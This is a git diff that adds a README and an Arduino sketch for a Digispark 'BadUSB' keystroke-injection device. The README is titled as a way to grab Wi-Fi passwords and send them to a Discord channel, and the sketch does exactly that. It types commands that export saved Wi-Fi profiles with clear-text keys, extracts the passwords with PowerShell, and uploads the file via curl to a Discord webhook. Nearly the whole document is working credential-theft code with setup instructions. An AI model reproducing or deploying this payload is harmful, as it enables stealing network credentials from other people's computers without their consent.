diff --git a/WiFi_Profile_Discord/README.md b/WiFi_Profile_Discord/README.md new file mode 100644 index 0000000..f52de47 --- /dev/null +++ b/WiFi_Profile_Discord/README.md @@ -0,0 +1,59 @@ +## GRAB AND SEND WIFI PASSWORDS TO YOUR DISCORD CHANNEL + +#### STEP 1: +1.Create a Discord Server/Channel + +2.image + +go to the edit channel option. + +3.image + +go to integrations. + +4.image + +create a new web hook. + +5.image + +copy the web hook url. + +#### STEP 2: +##### Change the "FILENAME" to anyname you want your folder to be in Line number 14. +image + + +##### Also Edit the line number 16 in the Arduino code and insert the following details (* most important Webhook url) + +`DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json={\\\"wait\\\":true,\\\"content\\\":\\\"ANYCOMMENT\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" WEBHOOK_URL"); //curl command which is used to send the passwords to your discord channel/server ` + +(NOTE: Change replace "WEBHOOK_URL" with your discord's webhook url of any channel.) + + + #### Example: + + #include "DigiKeyboard.h" + void setup() { + pinMode(1, OUTPUT); //LED on Model A + } + void loop() { + DigiKeyboard.update(); + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run + DigiKeyboard.delay(300); + DigiKeyboard.println("cmd"); + DigiKeyboard.delay(500); + DigiKeyboard.println("netsh wlan export profile key=clear"); + DigiKeyboard.delay(500); + DigiKeyboard.println("powershell Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' > wifi"); + DigiKeyboard.delay(500); + DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json= {\\\"wait\\\":true,\\\"content\\\":\\\"Ashfaque\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" https://discord.com/api/webhooks/996103446740619284/"); // this is a dummy webhook url. + DigiKeyboard.delay(500); + DigiKeyboard.println("exit"); + digitalWrite(1, HIGH); //led on + DigiKeyboard.delay(90000); + } + + ### Your are all set to upload the code. + diff --git a/WiFi_Profile_Discord/wifi_profile_discord_webhook.ino b/WiFi_Profile_Discord/wifi_profile_discord_webhook.ino new file mode 100644 index 0000000..239de07 --- /dev/null +++ b/WiFi_Profile_Discord/wifi_profile_discord_webhook.ino @@ -0,0 +1,21 @@ +#include "DigiKeyboard.h" +void setup() { + pinMode(1, OUTPUT); //LED on Model A +} +void loop() { + DigiKeyboard.update(); + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run + DigiKeyboard.delay(300); + DigiKeyboard.println("cmd"); //open command prompt + DigiKeyboard.delay(500); + DigiKeyboard.println("netsh wlan export profile key=clear"); //export wifi profiles + DigiKeyboard.delay(500); + DigiKeyboard.println("powershell Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' > FILENAME"); //reveal keys/passwords and store them as json (give a name to your file by changing "FILENAME") + DigiKeyboard.delay(500); + DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json={\\\"wait\\\":true,\\\"content\\\":\\\"ANYCOMMENT\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" WEBHOOK_URL"); //curl command which is used to send the passwords to your discord channel/server (**Change replace "WEBHOOK_URL" with your discord's webhook url of any channel. + DigiKeyboard.delay(500); + DigiKeyboard.println("exit"); + digitalWrite(1, HIGH); //led on + DigiKeyboard.delay(90000); +}